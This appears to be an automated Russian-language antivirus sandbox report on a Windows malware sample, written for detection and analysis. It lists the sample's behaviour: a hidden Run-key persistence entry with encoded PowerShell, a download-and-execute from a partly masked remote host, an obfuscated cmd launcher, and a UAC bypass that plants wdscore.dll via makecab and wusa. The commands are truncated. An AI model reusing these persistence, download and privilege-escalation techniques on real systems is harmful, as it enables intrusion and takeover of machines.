Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'CheckIN' = 'powershell -exec bypass -windowStyle hidden -enc cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdABy...
Вредоносные функции
Загружает и запускает на исполнение
- http://dm##################wrcjimxnfsrbgravivgbannnpnubawpdvekzbdbuqrd.zzz.com.ua/uac.txt
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C P^O^W^E^R^S^H^E^L^L $bytes = '9','8','1','2','3','17','13','2','10','10','63','62','2','20','2','21','63','49','5','9','18','17','17','63','62','1','7','24','16','8','1','37','4','5','10','2...
Изменения в файловой системе
Создает следующие файлы
- C:\users\public\libraries\content
- %WINDIR%\temp\cmd.bat
- %TEMP%\wdscore.dll
- %TEMP%\cab_2388_3
- %TEMP%\cab_2388_2
- %TEMP%\cab_2388_4
- %TEMP%\cab_2388_6
- %TEMP%\cab_2388_5
- %TEMP%\uac.cab
- %TEMP%\cab_2364_3
- %TEMP%\cab_2364_2
- %TEMP%\cab_2364_4
- %TEMP%\cab_2364_6
- %TEMP%\cab_2364_5
- <SYSTEM32>\oobe\$dpx$.tmp\fd27d5ce3b7e82409043acd74d256f3c.tmp
Удаляет следующие файлы
- %TEMP%\cab_2388_2
- %TEMP%\cab_2388_3
- %TEMP%\cab_2388_4
- %TEMP%\cab_2388_5
- %TEMP%\cab_2388_6
- %TEMP%\cab_2364_2
- %TEMP%\cab_2364_3
- %TEMP%\cab_2364_4
- %TEMP%\cab_2364_5
- %TEMP%\cab_2364_6
- %TEMP%\uac.cab
- %TEMP%\wdscore.dll
Перемещает следующие файлы
- <SYSTEM32>\oobe\$dpx$.tmp\fd27d5ce3b7e82409043acd74d256f3c.tmp в <SYSTEM32>\oobe\wdscore.dll
Сетевая активность
TCP
Запросы HTTP GET
- http://dm##################wrcjimxnfsrbgravivgbannnpnubawpdvekzbdbuqrd.zzz.com.ua/uac.txt
UDP
- DNS ASK dm##################wrcjimxnfsrbgravivgbannnpnubawpdvekzbdbuqrd.zzz.com.ua
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C P^O^W^E^R^S^H^E^L^L $bytes = '9','8','1','2','3','17','13','2','10','10','63','62','2','20','2','21','63','49','5','9','18','17','17','63','62','1','7','24','16','8','1','37','4','5','10','2...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $bytes = '9','8','1','2','3','17','13','2','10','10','63','62','2','20','2','21','63','49','5','9','18','17','17','63','62','1','7','24','16','8','1','37','4','5','10','2','63','13','7','16','1...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec Bypass -windowStyle hidden -Enc cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARAB...
- '<SYSTEM32>\makecab.exe' %TEMP%\wdscore.dll %TEMP%\uac.cab
- '<SYSTEM32>\wusa.exe' %TEMP%\uac.cab /extract:<SYSTEM32>\oobe\
- '<SYSTEM32>\oobe\setupsqm.exe'
- '<SYSTEM32>\cmd.exe' /c "%WINDIR%\temp\cmd.bat"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -windowStyle hidden -exec bypass -noexit Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name CheckIN -value 'powershell -exec bypass -windowStyle hidden -enc cwBhAG...
